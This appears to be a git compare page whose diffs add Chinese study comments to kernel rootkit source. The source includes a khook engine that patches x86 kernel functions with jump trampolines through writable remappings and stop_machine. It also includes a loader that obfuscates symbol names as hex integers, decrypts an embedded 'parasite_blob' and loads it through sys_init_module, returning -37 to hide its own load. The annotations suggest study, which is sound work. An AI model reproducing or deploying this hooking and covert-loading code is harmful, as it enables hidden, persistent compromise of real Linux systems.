Compare commits

...

2 Commits

Author SHA1 Message Date
waiwai 0b5f28d2b0 zrs 11.20 label
1 week ago
waiwai 14e548cace add read.docx
1 month ago

@ -0,0 +1,3 @@
{
"Codegeex.RepoIndex": true
}

@ -3,151 +3,200 @@
static khook_stub_t *khook_stub_tbl = NULL; static khook_stub_t *khook_stub_tbl = NULL;
//////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////
/*
* callback function
* dataname
* dataaddr1
* 0
*/
static int khook_lookup_cb(long data[], const char *name, void *module, long addr) static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{ {
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { int i = 0;
if (!name[i++]) return !!(data[1] = addr); while (!module && (((const char *)data[0]))[i] == name[i]) {
} return 0; if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
} }
/*
* kallsyms_on_each_symbol
* data[0]
* data[1]
* kernel all symbols
*/
static void *khook_lookup_name(const char *name) static void *khook_lookup_name(const char *name)
{ {
long data[2] = { (long)name, 0 }; long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data); kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1]; return (void *)data[1]; // 返回找到的符号地址
} }
/*
* [addr, addr + len]
*/
static void *khook_map_writable(void *addr, size_t len) static void *khook_map_writable(void *addr, size_t len)
{ {
struct page *pages[2] = { 0 }; // len << PAGE_SIZE struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr); long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE); int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK); addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) { for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ? if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL) vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL; return NULL; // 如果无法获取页面返回NULL
} }
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
return addr ? addr + page_offset : NULL; return addr ? addr + page_offset : NULL; // 返回映射后的地址
} }
//////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////
#ifdef CONFIG_X86 #ifdef CONFIG_X86
# include "x86/hook.c" # include "x86/hook.c" // 包含x86架构相关的钩子实现
#else #else
# error Target CPU architecture is NOT supported !!! # error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
#endif #endif
//////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////
/*
*
*/
static void khook_wakeup(void) static void khook_wakeup(void)
{ {
struct task_struct *p; struct task_struct *p;
rcu_read_lock(); rcu_read_lock();
for_each_process(p) { for_each_process(p) {
wake_up_process(p); wake_up_process(p); // 唤醒进程
} }
rcu_read_unlock(); rcu_read_unlock();
} }
/*
*
*/
static int khook_sm_init_hooks(void *arg) static int khook_sm_init_hooks(void *arg)
{ {
khook_t *p; khook_t *p;
KHOOK_FOREACH_HOOK(p) { KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue; if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p); khook_arch_sm_init_one(p); // 初始化单个钩子
} }
return 0; return 0;
} }
/*
*
*/
static int khook_sm_cleanup_hooks(void *arg) static int khook_sm_cleanup_hooks(void *arg)
{ {
khook_t *p; khook_t *p;
KHOOK_FOREACH_HOOK(p) { KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue; if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p); khook_arch_sm_cleanup_one(p); // 清理单个钩子
} }
return 0; return 0;
} }
/*
*
*/
static void khook_resolve(void) static void khook_resolve(void)
{ {
khook_t *p; khook_t *p;
KHOOK_FOREACH_HOOK(p) { KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name); p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
} }
} }
/*
*
*/
static void khook_map(void) static void khook_map(void)
{ {
khook_t *p; khook_t *p;
KHOOK_FOREACH_HOOK(p) { KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue; if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32); p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map); khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
} }
} }
/*
*
*/
static void khook_unmap(int wait) static void khook_unmap(int wait)
{ {
khook_t *p; khook_t *p;
KHOOK_FOREACH_HOOK(p) { KHOOK_FOREACH_HOOK(p) {
khook_stub_t *stub = KHOOK_STUB(p); khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue; if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) { while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup(); khook_wakeup(); // 唤醒进程
msleep_interruptible(1000); msleep_interruptible(1000); // 休眠1秒
khook_debug("waiting for %s...\n", p->target.name); khook_debug("waiting for %s...\n", p->target.name);
} }
vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
p->target.addr_map = NULL; p->target.addr_map = NULL;
} }
} }
//////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////
/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
/*
*
* 1. mallocstub
* 2. khook_resolve
* 3.
* 4. stop_machine
*/
int khook_init(void) int khook_init(void)
{ {
void *(*malloc)(long size) = NULL; void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL; int (*set_memory_x)(unsigned long, int) = NULL;
malloc = khook_lookup_name("module_alloc"); malloc = khook_lookup_name("module_alloc");
if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL; if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE); khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM; if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE); memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
// //
// Since some point memory allocated by module_alloc() doesn't // Since some point memory allocated by module_alloc() doesn't
// have eXecutable attributes. That's why we have to mark the // have eXecutable attributes. That's why we have to mark the
// region executable explicitly. // region executable explicitly.
// //
set_memory_x = khook_lookup_name("set_memory_x"); set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) { if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE; int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages); set_memory_x((unsigned long)khook_stub_tbl, numpages);
} }
khook_resolve(); khook_resolve(); // 解析符号表
khook_map(); khook_map(); // 映射地址
stop_machine(khook_sm_init_hooks, NULL, NULL); stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
khook_unmap(0); khook_unmap(0); // 取消映射
return 0; return 0;
} }
/*
*
* 1.
* 2. stop_machine
* 3.
* 4.
*/
void khook_cleanup(void) void khook_cleanup(void)
{ {
khook_map(); khook_map(); // 映射地址
stop_machine(khook_sm_cleanup_hooks, NULL, NULL); stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
khook_unmap(1); khook_unmap(1); // 取消映射
vfree(khook_stub_tbl); vfree(khook_stub_tbl); // 释放内存
} }

@ -4,6 +4,15 @@
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count #define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
/*
*
* fn
* name
* addr
* addr_map
* orig
*/
typedef struct { typedef struct {
void *fn; // handler fn address void *fn; // handler fn address
struct { struct {
@ -15,6 +24,13 @@ typedef struct {
unsigned long flags; // hook engine options (flags) unsigned long flags; // hook engine options (flags)
} khook_t; } khook_t;
/*
* funfunkhook_fun
*
* __attribute__((unused)
* __attribute__((aligned(1)))
* __attribute__((section(".data.khook"))).data.khook
*/
#define KHOOK_(t, f) \ #define KHOOK_(t, f) \
static inline typeof(t) khook_##t; /* forward decl */ \ static inline typeof(t) khook_##t; /* forward decl */ \
khook_t \ khook_t \

@ -6,3 +6,8 @@ SECTIONS
KHOOK_tbl_end = . ; KHOOK_tbl_end = . ;
} }
} }
In engine.c, all hooks are allocated to the .data.khook section.
The above script means that all contents of .data.khook are placed in the .data section.
The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

@ -20,6 +20,11 @@ extern khook_t KHOOK_tbl_end[];
#define KHOOK_FOREACH_HOOK(p) \ #define KHOOK_FOREACH_HOOK(p) \
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++) for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
/*
* STUB
* STUBstub.incstub32.incstub
*
*/
typedef struct { typedef struct {
#pragma pack(push, 1) #pragma pack(push, 1)
union { union {

@ -6,11 +6,19 @@
#include <asm/insn.h> #include <asm/insn.h>
/*
* typeof GCC
*
*
*/
static struct { static struct {
typeof(insn_init) *init; typeof(insn_init) *init;
typeof(insn_get_length) *get_length; typeof(insn_get_length) *get_length;
} khook_arch_lde; } khook_arch_lde;
/*
* insn_init insn_get_length
*/
static inline int khook_arch_lde_init(void) { static inline int khook_arch_lde_init(void) {
khook_arch_lde.init = khook_lookup_name("insn_init"); khook_arch_lde.init = khook_lookup_name("insn_init");
if (!khook_arch_lde.init) return -EINVAL; if (!khook_arch_lde.init) return -EINVAL;
@ -19,6 +27,11 @@ static inline int khook_arch_lde_init(void) {
return 0; return 0;
} }
/*
* p
* insn_initinsn
* get_lengthinsnlength
*/
static inline int khook_arch_lde_get_length(const void *p) { static inline int khook_arch_lde_get_length(const void *p) {
struct insn insn; struct insn insn;
int x86_64 = 0; int x86_64 = 0;
@ -39,8 +52,8 @@ static inline int khook_arch_lde_get_length(const void *p) {
// place a jump at addr @a from addr @f to addr @t // place a jump at addr @a from addr @f to addr @t
static inline void x86_put_jmp(void *a, void *f, void *t) static inline void x86_put_jmp(void *a, void *f, void *t)
{ {
*((char *)(a + 0)) = 0xE9; *((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
*(( int *)(a + 1)) = (long)(t - (f + 5)); *(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
} }
static const char khook_stub_template[] = { static const char khook_stub_template[] = {
@ -52,20 +65,26 @@ static inline void stub_fixup(void *stub, const void *value) {
*(long *)stub = (long)value; *(long *)stub = (long)value;
} }
/*
*
* 使
* 便
*/
static inline void khook_arch_sm_init_one(khook_t *hook) { static inline void khook_arch_sm_init_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook); khook_stub_t *stub = KHOOK_STUB(hook);
// 跳转指令的第一个字节是0xE9或0xCC表示已经被hook过了
if (hook->target.addr[0] == (char)0xE9 || if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return; hook->target.addr[0] == (char)0xCC) return;
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes)); BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
stub_fixup(stub->hook, hook->fn); stub_fixup(stub->hook, hook->fn);
while (stub->nbytes < 5) while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes); stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes); memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
if (hook->flags & KHOOK_F_NOREF) { if (hook->flags & KHOOK_F_NOREF) {
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn); x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
} else { } else {
@ -74,6 +93,10 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
hook->orig = stub->orig; // the only link from hook to stub hook->orig = stub->orig; // the only link from hook to stub
} }
/*
*
*
*/
static inline void khook_arch_sm_cleanup_one(khook_t *hook) { static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook); khook_stub_t *stub = KHOOK_STUB(hook);
memcpy(hook->target.addr_map, stub->orig, stub->nbytes); memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

@ -9,76 +9,92 @@
#include "encrypt.h" #include "encrypt.h"
// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE \ #define SYS_INIT_MODULE \
({ \ ({ \
unsigned int *p = __builtin_alloca(16); \ unsigned int *p = __builtin_alloca(16); \
p[0] = 0x5f737973; \ p[0] = 0x5f737973; \
p[1] = 0x74696e69; \ p[1] = 0x74696e69; \
p[2] = 0x646f6d5f; \ p[2] = 0x646f6d5f; \
p[3] = 0x00656c75; \ p[3] = 0x00656c75; \
(char *)p; \ (char *)p; \
}) })
// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串
#define __DO_SYS_INIT_MODULE \ #define __DO_SYS_INIT_MODULE \
({ \ ({ \
unsigned int *p = __builtin_alloca(24); \ unsigned int *p = __builtin_alloca(24); \
p[0] = 0x6f645f5f; \ p[0] = 0x6f645f5f; \
p[1] = 0x7379735f; \ p[1] = 0x7379735f; \
p[2] = 0x696e695f; \ p[2] = 0x696e695f; \
p[3] = 0x6f6d5f74; \ p[3] = 0x6f6d5f74; \
p[4] = 0x656c7564; \ p[4] = 0x656c7564; \
p[5] = 0x00000000; \ p[5] = 0x00000000; \
(char *)p; \ (char *)p; \
}) })
// 包含 parasite_blob.inc 文件中的数据
static char parasite_blob[] = { static char parasite_blob[] = {
#include "parasite_blob.inc" #include "parasite_blob.inc"
}; };
// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr) unsigned long addr)
{ {
int i = 0; int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) { while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) if (!name[i++])
return !!(data[1] = addr); return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
} }
return 0; return 0; // 未找到匹配的符号返回0
} }
// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name) static inline unsigned long ksym_lookup_name(const char *name)
{ {
unsigned long data[2] = {(unsigned long)name, 0}; unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
return data[1]; return data[1]; // 返回找到的符号地址
} }
/*
* init_modulesys_init_module
* ksym_lookup_name
*/
int init_module(void) int init_module(void)
{ {
int ret = -EINVAL; int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL; asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY); // 解密 parasite_blob 数据
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE); // 查找 sys_init_module 函数的地址
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
if (!sys_init_module) if (!sys_init_module)
sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE); sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
if (sys_init_module) { if (sys_init_module) {
const char *nullarg = parasite_blob; const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max(); unsigned long seg = user_addr_max();
while (*nullarg) // 找到 parasite_blob 中的空字符
nullarg++; while (*nullarg)
nullarg++;
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); // 设置用户地址空间的最大值
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
user_addr_max() = seg; if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
} user_addr_max() = seg; // 恢复用户地址空间的最大值
}
return ret; return ret;
} }
/*
*
*/
MODULE_LICENSE("GPL"); MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y"); MODULE_INFO(intree, "Y");
Loading…
Cancel
Save